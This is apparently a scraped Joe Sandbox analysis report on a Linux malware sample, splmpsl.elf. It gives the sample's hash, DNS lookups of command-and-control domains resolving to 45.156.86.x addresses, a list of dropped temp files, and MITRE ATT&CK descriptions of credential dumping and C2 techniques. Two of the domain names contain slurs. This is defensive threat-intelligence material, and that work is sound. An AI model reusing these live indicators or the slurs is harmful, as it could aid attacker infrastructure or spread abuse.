Oct 28, 2024 08:07:43.629611015 CET	168.235.111.72	192.168.2.15	0x4b15	No error (0)	yellowchink.pirate		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:07:55.496855974 CET	51.158.108.203	192.168.2.15	0xee6c	Format error (1)	netfags.geek. [malformed]	none	none	256	331	false
Oct 28, 2024 08:08:07.377315998 CET	152.53.15.127	192.168.2.15	0x8335	No error (0)	burnthe.libre		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:08:07.377315998 CET	152.53.15.127	192.168.2.15	0x8335	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:08:19.312664032 CET	168.235.111.72	192.168.2.15	0xa8b4	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:08:19.312664032 CET	168.235.111.72	192.168.2.15	0xa8b4	No error (0)	burnthe.libre		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:08:30.862273932 CET	194.36.144.87	192.168.2.15	0x98cb	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:08:54.608481884 CET	194.36.144.87	192.168.2.15	0xcea9	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false

Start time (UTC):	07:07:04
Start date (UTC):	28/10/2024
Path:	/tmp/splmpsl.elf
Arguments:	/tmp/splmpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	07:07:05
Start date (UTC):	28/10/2024
Path:	/tmp/splmpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splmpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0ggnYA (deleted)

/tmp/qemu-open.12BnIz (deleted)

/tmp/qemu-open.1YVnyB (deleted)

/tmp/qemu-open.40JPJx (deleted)

/tmp/qemu-open.47cwjB (deleted)

/tmp/qemu-open.4sFnGy (deleted)

/tmp/qemu-open.775XKx (deleted)

/tmp/qemu-open.7ku5pz (deleted)

/tmp/qemu-open.8JUfZB (deleted)

/tmp/qemu-open.8hGrFy (deleted)

/tmp/qemu-open.Ab0gVz (deleted)

/tmp/qemu-open.AtIc4y (deleted)

/tmp/qemu-open.CKwAqA (deleted)

/tmp/qemu-open.CN6y8z (deleted)

/tmp/qemu-open.FWXk3x (deleted)

/tmp/qemu-open.G0zLFB (deleted)

/tmp/qemu-open.GLFq6z (deleted)

/tmp/qemu-open.GgbmQx (deleted)

/tmp/qemu-open.H1YhtB (deleted)

/tmp/qemu-open.HowlKB (deleted)

/tmp/qemu-open.HqtlYz (deleted)

/tmp/qemu-open.I9fXCy (deleted)

/tmp/qemu-open.IQxTSA (deleted)

/tmp/qemu-open.JRJuCA (deleted)

/tmp/qemu-open.Jqassz (deleted)

/tmp/qemu-open.MoX0Tz (deleted)

/tmp/qemu-open.NQVgKx (deleted)

/tmp/qemu-open.Ol9IHz (deleted)

/tmp/qemu-open.OqS5cz (deleted)

/tmp/qemu-open.PaIMVx (deleted)

/tmp/qemu-open.PlkTez (deleted)

/tmp/qemu-open.R3BToz (deleted)

Linux Analysis Report
splmpsl.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre